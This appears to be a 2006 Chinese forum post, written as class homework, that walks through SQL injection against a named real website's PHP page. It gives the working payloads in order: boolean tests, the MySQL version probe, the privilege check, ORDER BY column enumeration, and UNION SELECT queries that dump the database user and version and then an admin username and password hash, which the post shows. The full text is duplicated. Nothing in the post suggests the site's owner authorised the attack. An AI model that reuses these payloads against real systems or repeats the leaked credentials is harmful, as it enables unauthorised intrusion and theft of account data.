电脑出问题了,没有听成课,遗憾啊。
自己去翻资料,试做一下做业了。
7月27日课程:简单的PHP注射
参考文章:http://bbs.vip8.org/read.php?tid=28960
原理文章:
http://bbs.vip8.org/read.php?tid=29060
练习网站:
http://www.digitimes.com.cn/pages/cover.php?id%A3%BD288=&id=501&id=617
目标直接给了,先打开网站吧。
注意啊,地址后面有php?id=xxx,一般的来说有这个的才会可以注。
好了,我们先来第一步,在地址后面加上 and 1=1 正常哦。和 and 1=2。发生错误啦。看到了吧,文章没有了。
这说明我们提交的and 1=1和and 1=2都被当作SQL语句执行。
既然这个可以执行,那么其他的语句也应该可以执行的。先确认一下是不是MYSQL数据库,在URL后面提交/*随便是什么东西、返回正常。
可以确认是MYSQL的,因为基本上支持/*注释都是MYSQL数据库。
下面我们看看可不可以union查询。
提交and ord(mid(version(),1,1))>51/* 这句的意思是查看数据库是不是大于3.0的。说一下,这些注射的代码我也不熟悉,但是,还是自己
一个个输入吧,这样才能达到熟悉的效果。
注意:ASCIl码51对应的是3,那么大于3的话当然就是4.0以上的。4.0以上支持union查询的,结果返回正常。
其实,现在想要找MYSQL版本3.0和以下的都不容易了。
下面我们看有没有ROOT权限。提交and (select count(*) from mysql.user)>0/*
结果返回错误
看来不是ROOT权限,对方MYSQL数据库没有读取权限。
既然不是ROOT也没有关系。既然支持union查询我们来暴字段数,提交order by 10/*,结果返回正常。
看来是大于10个字段的,继续提交order by 20/* 返回错误,小于20个字段,
提交提交order by 17/*正常。order by 18 当提交order by 19/*的时候返回错误。看来是18个字段。
继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,在页面暴出了数字
呵呵,在暴出的数字上加上user()和version()。
继续提交 and 1=2 union select 1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,暴出用户名和版本号
digitimes@localhost
4.0.20a-nt
下面就猜用户名和密码了
一般的都是这个表 admin 或user。就用它来试试。
继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from admin/*
不行,试user。
提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from user/*
就得到这个啦
sa
d692e9a1e52f4a6ab752d3561dc48183
OK了。
到这里作业就完成了。应该有不少错误吧,希望大家指正。
最后编辑: pling 编辑于2006/07/28 22:42
自己去翻资料,试做一下做业了。
7月27日课程:简单的PHP注射
参考文章:http://bbs.vip8.org/read.php?tid=28960
原理文章:
http://bbs.vip8.org/read.php?tid=29060
练习网站:
http://www.digitimes.com.cn/pages/cover.php?id%A3%BD288=&id=501&id=617
目标直接给了,先打开网站吧。
注意啊,地址后面有php?id=xxx,一般的来说有这个的才会可以注。
好了,我们先来第一步,在地址后面加上 and 1=1 正常哦。和 and 1=2。发生错误啦。看到了吧,文章没有了。
这说明我们提交的and 1=1和and 1=2都被当作SQL语句执行。
既然这个可以执行,那么其他的语句也应该可以执行的。先确认一下是不是MYSQL数据库,在URL后面提交/*随便是什么东西、返回正常。
可以确认是MYSQL的,因为基本上支持/*注释都是MYSQL数据库。
下面我们看看可不可以union查询。
提交and ord(mid(version(),1,1))>51/* 这句的意思是查看数据库是不是大于3.0的。说一下,这些注射的代码我也不熟悉,但是,还是自己
一个个输入吧,这样才能达到熟悉的效果。
注意:ASCIl码51对应的是3,那么大于3的话当然就是4.0以上的。4.0以上支持union查询的,结果返回正常。
其实,现在想要找MYSQL版本3.0和以下的都不容易了。
下面我们看有没有ROOT权限。提交and (select count(*) from mysql.user)>0/*
结果返回错误
看来不是ROOT权限,对方MYSQL数据库没有读取权限。
既然不是ROOT也没有关系。既然支持union查询我们来暴字段数,提交order by 10/*,结果返回正常。
看来是大于10个字段的,继续提交order by 20/* 返回错误,小于20个字段,
提交提交order by 17/*正常。order by 18 当提交order by 19/*的时候返回错误。看来是18个字段。
继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,在页面暴出了数字
呵呵,在暴出的数字上加上user()和version()。
继续提交 and 1=2 union select 1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/*,暴出用户名和版本号
digitimes@localhost
4.0.20a-nt
下面就猜用户名和密码了
一般的都是这个表 admin 或user。就用它来试试。
继续提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from admin/*
不行,试user。
提交 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,username,password,13,14,15,16,17,18 from user/*
就得到这个啦
sa
d692e9a1e52f4a6ab752d3561dc48183
OK了。
到这里作业就完成了。应该有不少错误吧,希望大家指正。
最后编辑: pling 编辑于2006/07/28 22:42
简单入侵到终极提权
xrea最新图片攻略(使用篇)





